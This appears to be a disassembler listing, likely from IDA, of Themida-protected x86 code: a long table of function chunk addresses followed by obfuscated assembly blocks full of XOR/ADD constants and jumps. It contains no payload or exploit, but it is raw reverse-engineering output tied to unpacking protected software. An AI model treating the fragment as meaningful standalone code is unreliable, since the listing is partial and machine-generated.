; FUNCTION CHUNK AT 005670D0 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00567176 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005671AB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567223 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00567261 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005672EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056731E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567330 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00567364 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005673F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567431 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567443 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056749B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00567523 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005682CD SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00568321 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568340 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056835E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00568395 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568403 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00568442 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005684C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005685CF SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056862B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568662 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568714 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005687BA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005687E7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568835 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00568900 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056893F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005689A2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005689B7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00568A5B SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00568B38 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568BAC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568BF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568C03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568C9C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00568CD9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568D43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568D56 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568D7F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00568DB3 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00568E39 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568E4D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568E88 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00568EBA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00568EE0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568EF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568F02 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568F43 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00568F72 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056902B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056908D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005690C0 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00569131 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569155 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569177 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056922B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569247 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569267 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005692AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056930E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056935A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056938D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056952D SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005695D1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569666 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056967E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569690 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569700 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056974B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056977A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005697BB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005697DB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056986D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056988B SIZE 0000005F BYTES
; FUNCTION CHUNK AT 005698F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569948 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056996E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056998F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569A02 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00569ACF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569B17 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569B4D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00569B7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569B9E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00569CC3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00569D04 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569D5A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569D92 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00569E56 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569EA7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569F23 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569F48 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569F75 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569FCE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569FE5 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0056A07A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A135 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A180 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A193 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056A1B7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A203 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A22D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056A287 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A2E9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056A30C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A32F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A360 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056A394 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0056A43C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A4F0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A551 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A56E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056A5A2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A643 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056A6BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A6DD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A748 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A788 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056A7D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A84E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A8D1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A91F SIZE 00000074 BYTES
; FUNCTION CHUNK AT 0056A9D2 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056AA04 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AA68 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056AAFD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AB79 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ABCF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AC0B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056AC39 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056AD0F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AD66 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056ADA5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056ADF9 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056AE64 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AE94 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056AEB8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AEEB SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056AF82 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056AFB2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AFD4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056B05B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B080 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B0EF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B176 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0056B1DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B225 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B250 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056B2C3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B308 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B31E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B35C SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056B3F6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B47E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056B4B3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056B508 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056B578 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056B5C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056B6A0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B79B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056B7C5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056B841 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056B862 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0056B8AA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056B913 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056B99D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056BA22 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056BA6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BACC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056BB00 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BB4B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056BB93 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056BBD8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BBFE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056BC2A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BC46 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056BCBF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BD10 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056BD42 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BD64 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056BDC0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BE30 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056BE75 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056BF88 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BFB0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C05E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C07A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056C101 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056C122 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056C175 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C1EB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056C293 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056C2E8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056C3E3 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0056C4D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C4F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C50E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C538 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C58A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C602 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056C633 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C695 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056C6C2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C74E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C79D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C7F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C810 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056C820 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056C884 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056C8CE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C905 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C925 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056C975 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C9C3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056C9FB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CA22 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056CAF5 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056CB59 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056CBF0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056CC2D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056CC95 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056CD41 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056CD60 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CE69 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056CF13 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056D039 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D073 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D0AF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056D17D SIZE 00000095 BYTES
; FUNCTION CHUNK AT 0056D22E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D2C0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D363 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D376 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056D3F1 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056D4EF SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056D56B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D5C8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D617 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D63E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D73E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D767 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D783 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056D7EC SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0056D87B SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056D90C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056D9E3 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056DA18 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056DA47 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056DABB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DAC7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056DB58 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DBA6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056DC07 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056DC36 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DCA4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056DD02 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DD35 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056DD91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DDD2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DE20 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056DE4A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DE68 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056DED9 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056E024 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056E04E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E0AD SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056E0F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E129 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E155 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056E190 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056E1D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E202 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E227 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056E252 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E27C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056E2B0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E2DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E358 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056E3BB SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056E44E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056E4AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E4DA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E529 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0056E53D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056E575 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E601 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E67C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0056E6EB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E71A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E777 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056E813 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056E844 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E85C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E8B6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056E8F3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E972 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056E9B8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EA18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056EAC3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EB09 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056EB95 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EBBC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EC0C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056EC34 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EC6B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056ECA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056ECC8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056ED0B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ED5B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ED97 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056EE40 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0056EEC0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EF12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056EF9F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056EFDC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F043 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F05E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F097 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056F0E1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F149 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056F1C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F1D8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F264 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F283 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F2B9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F2F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F348 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F3A3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F3E4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056F429 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F499 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F4F4 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056F539 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F5A8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056F5CF SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0056F647 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F65D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F6C2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F6E4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F70F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F731 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0056F79B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F7B7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F802 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F869 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056F87B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056F8CA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056F90C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056F978 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F9AC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F9E1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056FA4F SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056FAE8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056FB61 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FB85 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056FC4E SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0056FCAE SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056FD32 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056FD63 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056FDE5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FE5F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056FF0A SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056FF4A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056FF9D SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00570026 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005700F2 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00570160 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005701A2 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005701D8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00570218 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00570258 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00570284 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0057036B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005703B1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005703F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570405 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0057048C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005704D7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570530 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570565 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057058A SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00570663 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005706D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0057071F SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0057078E SIZE 00000026 BYTES
sub esp, 4
mov [esp+10h+var_10], edx
mov edx, 265B6083h
jmp loc_56825A
; ---------------------------------------------------------------------------
loc_56756A: ; CODE XREF: Themida_:0055E43Cj
sub ecx, 5B1912C8h
jmp loc_56B250
; ---------------------------------------------------------------------------
loc_567575: ; CODE XREF: Themida_:005626A5j
pop edx
xor cl, bh
mov ebx, [esp+0Ch+var_C]
jmp loc_563F88
; ---------------------------------------------------------------------------
loc_567580: ; CODE XREF: sub_55FDEF+2080j
add esp, 4
xor ecx, 53A62C79h
mov eax, ecx
pop ecx
xor eax, 71213420h
add ebx, eax
pop eax
pop dword ptr [eax]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56759B: ; CODE XREF: Themida_:0056B426j
xor ecx, 768C25A9h
add ecx, 7C087F14h
xor ecx, 0AF85E0B8h
sub ebx, ecx
jmp loc_56E8D0
; ---------------------------------------------------------------------------
loc_5675B4: ; CODE XREF: Themida_:0055FA5Dj
push [esp-4+arg_0]
pop edx
push ecx
mov ecx, esp
jmp loc_562132
; ---------------------------------------------------------------------------
loc_5675C0: ; CODE XREF: sub_56C508+1j
mov ebx, 479C4FD3h
mov edi, ebx
push dword ptr [esp+0]
pop ebx
add esp, 4
add edi, 1
push ecx
push ebx
jmp loc_56FF19
; ---------------------------------------------------------------------------
loc_5675DE: ; CODE XREF: sub_56755A+1DB8j
sub edi, 0F7E1C14h
push edi
xchg esi, [esp+8+var_8]
not esi
jmp loc_56E2B0
; ---------------------------------------------------------------------------
loc_5675EF: ; CODE XREF: sub_56CB7D-2853j
xor edx, [esp+8+var_8]
jmp loc_567C6C
; ---------------------------------------------------------------------------
loc_5675F7: ; CODE XREF: Themida_:0055BCC0j
mov ebp, 760EC63Ah
xor edx, ebp
pop ebp
xor eax, edx
jmp loc_56F731
; ---------------------------------------------------------------------------
loc_567606: ; CODE XREF: sub_56755A+72EBj
pop ecx
add ecx, 4
push ebp
jmp loc_569BBE
; ---------------------------------------------------------------------------
loc_567613: ; CODE XREF: Themida_:0056DAB6j
sub esi, edi
pop edi
add esi, ebp
add esi, 5D6872A5h
mov ebp, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
push esp
pop eax
add eax, 4
add eax, 4
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
pop esp
xchg esi, [esp+0]
jmp loc_56F264
; ---------------------------------------------------------------------------
loc_567646: ; CODE XREF: sub_56755A+5CB3j
shl eax, 7
sub eax, 0B5070799h
or ecx, eax
pop eax
add ecx, 0D3526457h
sub ebp, 39365F86h
sub ebp, ecx
add ebp, 39365F86h
pop ecx
pop eax
xchg ebp, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
shr byte ptr [esp-0Ch+arg_8], cl
pushf
jmp loc_560B53
; ---------------------------------------------------------------------------
loc_567676: ; CODE XREF: sub_56755A-3BC0j
push edi
mov edi, esp
jmp loc_562AA0
; ---------------------------------------------------------------------------
loc_56767E: ; CODE XREF: sub_565C92+A6Cj
push 7945h
mov [esp+22h+var_24+2], edx
mov edx, 4E125A7Ah
push eax
mov eax, 6FF21D0Bh
jmp loc_56D376
; ---------------------------------------------------------------------------
